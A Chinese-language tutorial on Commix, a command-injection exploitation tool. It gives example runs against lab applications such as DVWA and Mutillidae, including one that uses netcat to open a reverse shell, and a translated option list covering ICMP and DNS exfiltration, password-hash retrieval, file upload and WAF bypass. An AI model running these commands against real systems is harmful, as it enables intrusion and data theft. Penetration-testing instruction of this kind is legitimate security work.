黑客教程之Commix命令注入漏洞利用
簡介
什麼是commix?
Commix (short for [comm]and [i]njection e[x]ploiter) is an automated tool written by Anastasios Stasinopoulos (@ancst) that can be used from web developers, penetration testers or even security researchers in order to test web-based applications with the view to find bugs, errors or vulnerabilities related to command injection attacks. By using this tool, it is very easy to find and exploit a command injection vulnerability in a certain vulnerable parameter or HTTP header.
Commix是一個使用Python開發的漏洞測試工具,這個工具是為了方便的檢測一個請求是否存在命令注入漏洞,並且對其進行測試,在其作者發布的最新版本中支持直接直接導入burp的歷史記錄進行檢測,大大提高了易用性。
commix的應用環境
ArchStrike
BlackArch Linux
BackBox
Kali Linux
Parrot Security OS
Weakerthan Linux
Commix also comes as a plugin, on the following penetration testing frameworks:
黑客
使用commix
要想使用commix必須先啟動commix
首先我們在kali 終端中輸入 commix
使用示例
python commix.py –url="http://192.168.1.4/test/test.php?addr=INJECT_HERE」 --os-cmd="nc -e /bin/sh 192.168.1.3 1234″
測試漏洞web應用Damn
python commix.py --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=INJECT_HERE&submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"
使用注入攻擊Payload參數測試php-Charts 1.0
python commix.py --url="http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=INJECT_HERE" --prefix="//" --suffix="""
使用特殊的頭和HTTP代理測試OWASP Mutillidae
python commix.py --url="http://192.168.178.46/mutillidae/index.php?popUpNotificationCode=SL5&page=dns-lookup.php" --data="target_host=INJECT_HERE" --headers="Accept-Language:fr
ETag:123
" --proxy="127.0.0.1:8081"
使用ICMP滲漏(exfiltration)技術測試Persistence
su -c "python commix.py --url="http://192.168.178.8/debug.php" --data="addr=127.0.0.1" --icmp-exfil="ip_src=192.168.178.5,ip_dst=192.168.178.8""
commix相關啟動參數
選項:
-v VERBOSE詳細程度級別(0-1,默認值:0)。
--version 顯示版本號並退出。
--output-dir=.. 設置自定義輸出目錄路徑。
-s SESSION_FILE 從存儲(.sqlite)文件載入會話。
--flush-session 刷新當前目標的會話文件。
--ignore-session 忽略存儲在會話文件中的結果。
目標:
-u URL,--url = URL 目標URL。
--url-reload 在命令執行後重新載入目標URL。
-l LOGFILE 解析來自HTTP代理日誌文件的目標和數據。
--crawl = CRAWLDEPTH 從目標網址開始抓取網站(1-2,默認值:0)。
請求:
--data=DATA 要通過POST發送的數據字元串。
--host=HOST HTTP主機頭。
--referer=REFERER HTTP Referer標頭。
--user-agent=AGENT HTTP用戶代理頭。
--random-agent 使用隨機選擇的HTTP User-Agent頭。
--param-del=PDEL 設置分割參數值的字元。
--cookie=COOKIE HTTP Cookie頭。
--cookie-del=CDEL 設置分割cookie值的字元。
--headers=HEADERS 額外標頭(例如「Header1:Value1 nHeader2:Value2」)。
--proxy=PROXY 使用HTTP代理(例如「127.0.0.1:8080」)。
--tor 使用Tor網路。
--tor-port=... 設置Tor代理埠(默認值:8118)。
--auth-url=... 登錄面板URL。
--auth-data =AUTH 登錄參數和數據。
--auth-type =AUTH HTTP認證類型(例如「基本」或「摘要」)。
--auth-cred =AUTH HTTP身份驗證憑據(例如「admin:admin」)。
--ignore-401 忽略HTTP錯誤401(未授權)。
--force-ssl 強制使用SSL / HTTPS。
枚舉:
這些選項可用於枚舉目標主機。
--all 檢索一切。
--current-user 檢索當前用戶名。
--hostname 檢索當前主機名。
--is-root 檢查當前用戶是否具有root許可權。
--is-admin 檢查當前用戶是否具有管理員許可權。
--sys-info 檢索系統信息。
--users 檢索系統用戶。
--passwords 檢索系統用戶密碼散列。
--privileges 檢索系統用戶許可權。
--ps-version 檢索PowerShell的版本號。
文件訪問:
這些選項可用於訪問目標主機上的文件。
--file-read = FILE .. 從目標主機讀取文件。
--file-write = FIL .. 寫入目標主機上的文件。
--file-upload = FI .. 在目標主機上上傳文件。
--file-dest = FILE .. 寫入和/或上傳到的主機的絕對文件路徑。
模塊:
這些選項可用於增加檢測和/或注射能力。
--icmp-exfil = IP_ .."ICMP exfiltration"注入模塊。 (例如"ip_src = 192.168.178.1,ip_dst = 192.168.178.3")。
--dns-server = DNS ..「DNS exfiltration」注入模塊。 (用於DNS篩選攻擊的域名)。
--shellshock「炮彈」注射模塊。
注射:
這些選項可用於指定要插入和輸入的參數,提供定製注入有效負載。
-p TEST_PARAMETER 可測試參數。
--suffix = SUFFIX 注入有效負載後綴字元串。
--prefix = PREFIX 注入有效負載前綴字元串。
--technique = TECH 指定要使用的進樣技術。
--maxlen = MAXLEN 設置與時間相關的最大輸出長度,注射技術(默認:10000字元)。
--delay = DELAY 設置與時間相關的注入的自定義時間延遲術(默認:1秒)。
--tmp-path = TMP_P .. 設置Web伺服器的臨時目錄的絕對路徑。
--root-dir = SRV_R .. 設置Web伺服器根目錄的絕對路徑。
--alter-shell = AL .. 使用另一個os-shell(例如"Python")。
--os-cmd = OS_CMD 執行單個操作系統命令。
--os = OS 將後端操作系統強製為此值。
--tamper = TAMPER 使用給定腳本篡改注射數據。
檢測:
這些選項可用於自定義檢測階段。
--level = LEVEL 要執行的測試級別(1-3,默認值:1)。
--skip-calc 在檢測期間跳過數學計算
--dependencies 檢查第三方(非內核)依賴關係。
--skip-waf 繞過啟發式檢測WAF / IPS / IDS保護。


TAG:青峰科技 |